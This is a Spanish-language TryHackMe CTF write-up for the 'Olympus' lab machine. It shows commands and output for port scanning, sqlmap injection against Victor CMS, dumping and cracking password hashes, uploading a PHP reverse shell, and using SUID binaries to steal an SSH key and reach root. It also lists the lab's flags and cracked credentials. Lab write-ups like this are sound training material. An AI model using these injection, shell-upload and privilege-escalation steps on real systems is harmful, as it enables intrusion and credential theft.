// TryHackMe — CTF — Writeup

OLYMPUS

#linux #web #sqli #php #regex
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear la superficie de ataque antes de pasar al análisis en profundidad de los servicios expuestos.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts.txt
escaneo de servicios y versiones
nmap -p22,80 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
PUERTO ESTADO SERVICIO VERSIÓN
22/tcpOPENsshOpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcpOPENhttpApache httpd 2.4.41 (Ubuntu)
Redirección a olimpo
El escaneo revela que el servidor redirige a http://olympus.thm. Es necesario añadir la entrada al /etc/hosts para que el dominio resuelva correctamente antes de continuar con la enumeración web.
añadir al /etc/hosts
echo "<IP> olympus.thm" | sudo tee -a /etc/hosts

La web muestra un único mensaje indicando que la versión antigua del sitio sigue accesible en el mismo dominio. No hay nada más en el código fuente.

The website is still under developpment. If support is needed, please contact root@the-it-department. The old version of the website is still accessible on this domain.
// 02

ENUMERACIÓN WEB — Victor CMS

Se enumeran subdirectorios con gobuster para ampliar la superficie. Los resultados iniciales no son prometedores: /javascript devuelve 403 y /static no contiene nada de interés.

enumeración de directorios
gobuster dir -u http://olympus.thm/ -w <DICCIONARIO> -x php,txt,html,js
index.php (Status: 200) [Size: 1948] static (Status: 301) [Size: 311] javascript (Status: 301) [Size: 315] phpmyadmin (Status: 403) [Size: 276]

Lanzando dirb con su wordlist por defecto se descubre el subdirectorio oculto que da acceso a la versión antigua.

dirb para descubrir rutas no estándar
dirb http://olympus.thm
==> DIRECTORY: http://olympus.thm/~webmaster/
Victor CMS — SQLi confirmada
El directorio /~webmaster/ expone una instalación de Victor CMS. Este software tiene una vulnerabilidad de inyección SQL documentada en el parámetro search del fichero search.php. La inyección es explotable directamente con sqlmap.
// 03

EXPLOTACIÓN — SQL Injection con sqlmap

Se lanza sqlmap apuntando al endpoint vulnerable con el payload marcado con el asterisco para indicar el punto de inyección. El flag --dbs enumera todas las bases de datos disponibles.

enumeración de bases de datos
sqlmap -u "http://olympus.thm/~webmaster/search.php" \ --data="search=1337*&submit=" --dbs --random-agent -v 3
[*] information_schema [*] mysql [*] olympus [*] performance_schema [*] phpmyadmin [*] sys

La base de datos olympus contiene seis tablas. Se inspeccionan primero flag y luego users.

tablas en la base de datos olympus
sqlmap -u "http://olympus.thm/~webmaster/search.php" \ --data="search=1337*&submit=" -D olympus --tables --random-agent
Database: olympus [6 tables] +------------+ | categories | | chats | | comments | | flag | | posts | | users | +------------+
volcado de la tabla flag
sqlmap -u "http://olympus.thm/~webmaster/search.php" \ --data="search=1337*&submit=" -D olympus -T flag --dump --random-agent
FLAG 1 flag{Sm4rt!_k33P_d1gGIng}
volcado de la tabla users
sqlmap -u "http://olympus.thm/~webmaster/search.php" \ --data="search=1337*&submit=" -D olympus -T users --dump --random-agent
+----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+ | id | role | uname | fname | email | lname | user_password | +----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+ | 3 | User | prome | <b> | prometheus@olympus | <b> | $2y$10$YC6uoMwK9VpB5QL513vrLu1RV2sqBf01c81zPHcz1gK2EArDvnj3C | | 6 | Admin | root | <b> | [email protected] | <b> | $2y$10$lcs4XWc5|VNSMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mk | | 7 | User | zeus | <b> | [email protected] | <b> | $2y$10$cpJKDXh2wLAI5KlCs0aLC0nf6g5f1G8QS053zp/r8HMtaj6rT4IC | +----+---------+--------+-------+---------------------+-----------+-------------------------------------------------------------+
Subdominio chat.olympus.thm
Los emails de los usuarios revelan la existencia del subdominio chat.olympus.thm. Hay que añadirlo al /etc/hosts para poder acceder al panel de chat donde se usarán las credenciales crackeadas.
crackeo de hashes con john
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
summertime (prometheus)
CREDENCIAL prometheus : summertime
// 04

ACCESO INICIAL — Reverse shell via upload

Con las credenciales de prometheus se accede al panel de chat.olympus.thm. La aplicación permite adjuntar ficheros en el chat. Se sube una reverse shell en PHP.

Al intentar acceder a /uploads/shell.php la respuesta es una página en blanco. Revisando la tabla chats de la base de datos se descubre el motivo.

volcado de la tabla chats
sqlmap -u "http://olympus.thm/~webmaster/search.php" \ --data="search=1337*&submit=" -D olympus -T chats --dump --random-agent
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | | 2022-04-05 | This looks great! I tested an upload and found the upload folder, but it | prometheus | | | seems the filename got changed somehow because I can't download it back... | | | 2022-04-06 | I know this is pretty cool. The IT guy used a random file name function to | zeus | | | make it harder for attackers to access the uploaded files. | | | 2026-03-31 | Attached : shell.php | prometheus | | | af1cd75a6dd6d5356ccea9c6d49e1486.php | |
Renombrado aleatorio de ficheros
El servidor aplica una función de renombrado aleatorio a los ficheros subidos para dificultar el acceso directo. El nombre real del fichero queda registrado en la tabla chats, lo que permite recuperarlo a través de la SQLi. En este caso el fichero se encuentra en /uploads/af1cd75a6dd6d5356ccea9c6d49e1486.php.
ponerse a la escucha y lanzar la shell
nc -lvnp 4444
www-data@ip-10-128-137-147:/$
Shell como www-data
Acceso inicial conseguido como www-data. El directorio /home/zeus contiene la segunda flag.
lectura de la flag de usuario
cat /home/zeus/user.flag
USER FLAG flag{Y0u_G0t_TH3_l1ghtN1nG_P0w3R}
// 05

ESCALADA — ZEUS — SUID cputils + clave RSA

Se buscan binarios con el bit SUID activo. Entre los resultados destaca /usr/bin/cputils, un binario personalizado que pertenece al usuario zeus y permite copiar ficheros arbitrarios con sus privilegios.

búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
... /usr/bin/cputils (owner: zeus, SUID activo) ...
SUID cputils — lectura de ficheros como zeus
El binario cputils tiene SUID con propietario zeus. Permite copiar cualquier fichero al que zeus tenga acceso a una ruta que controle www-data. Se usa para extraer la clave privada SSH de zeus ubicada en /home/zeus/.ssh/id_rsa.
copia de la clave RSA de zeus
/usr/bin/cputils Enter the Name of Source File: /home/zeus/.ssh/id_rsa Enter the Name of Target File: /tmp/id_rsa File copied successfully.
la clave tiene passphrase — crackeo con john
ssh2john /tmp/id_rsa > zeus_rsa_hash john --wordlist=/usr/share/wordlists/rockyou.txt zeus_rsa_hash
snowflake (zeus_rsa)
acceso SSH como zeus
ssh -i id_rsa zeus@<IP> # passphrase: snowflake
zeus@ip-10-128-137-147:~$
// 06

ESCALADA — ROOT — Backdoor PHP

Se explora el directorio web en busca de ficheros interesantes. En /var/www/html/ existe un subdirectorio con nombre aparentemente aleatorio que contiene un fichero PHP sospechoso.

inspección del directorio web
ls /var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/
VIGQFQFMYOST.php
contenido del fichero PHP
<?php $suid_bd = "/lib/defended/libc.so.99"; $shell = "uname -a; w; $suid_bd"; ?>
Backdoor SUID — /lib/defended/libc.so.99
El fichero PHP expone la existencia de un binario oculto en /lib/defended/libc.so.99 con el bit SUID activo y propietario root. Ejecutarlo directamente desde una sesión de zeus otorga una shell como root.
escalada a root mediante el binario SUID
zeus@ip-10-128-137-147:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc$ /lib/defended/libc.so.99
# whoami root # bash root@ip-10-128-137-147:/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc#
flag de root
cat /root/root.flag
ROOT FLAG flag{D4mN!_Y0u_G0T_m3_:)_}
// 07

BONUS FLAG — Regex hunting

En /root aparece un mensaje extra de Prometheus indicando que hay una flag oculta y recomendando acceder como root por SSH para encontrarla. La pista menciona que grep -irl flag{ es útil.

PS : Prometheus left a hidden flag, try and find it ! I recommend logging as root over ssh to look for it ;) (Hint : regex can be usefull)
búsqueda recursiva de flags con regex
grep -irl "flag{" /
/etc/ssl/private/.b0nus.fl4g
lectura de la bonus flag
cat /etc/ssl/private/.b0nus.fl4g
Here is the final flag ! Congrats ! flag{Y0u_G0t_m3_g00d!} As a reminder, here is a usefull regex : grep -irl flag{
BONUS FLAG flag{Y0u_G0t_m3_g00d!}
¿Por qué funciona grep -irl?
grep -i ignora mayúsculas/minúsculas, -r hace la búsqueda recursiva por todo el árbol de directorios y -l muestra solo los nombres de los ficheros que contienen coincidencias en lugar de las líneas completas. Combinado con el patrón flag{ es una forma rápida de localizar flags ocultas en cualquier punto del sistema de ficheros.
// RESUMEN

CADENA DE ATAQUE

01
Enumeración — Victor CMS
gobuster no revela nada útil → dirb descubre /~webmaster/ con Victor CMS → SQLi en search.php confirmada
02
SQLi — Extracción de credenciales y flag
sqlmap vuelca la base de datos olympusflag{Sm4rt!_k33P_d1gGIng} en tabla flag → hashes bcrypt de usuarios → john crackea prometheus:summertime
03
Upload + Rename bypass — Shell como www-data
Login en chat.olympus.thm → reverse shell subida como adjunto → nombre real recuperado via SQLi en tabla chats → acceso a /uploads/af1cd75a6dd6d5356ccea9c6d49e1486.php
04
SUID cputils — Clave RSA de zeus
/usr/bin/cputils con SUID de zeus permite leer /home/zeus/.ssh/id_rsa → passphrase crackeada con john (snowflake) → SSH como zeus
05
Backdoor PHP — /lib/defended/libc.so.99
Fichero PHP en directorio oculto del web expone ruta de binario SUID → /lib/defended/libc.so.99 → shell como root → flag{D4mN!_Y0u_G0T_m3_:)_}
Regex hunting — Bonus flag
grep -irl flag{ desde / localiza /etc/ssl/private/.b0nus.fl4gflag{Y0u_G0t_m3_g00d!}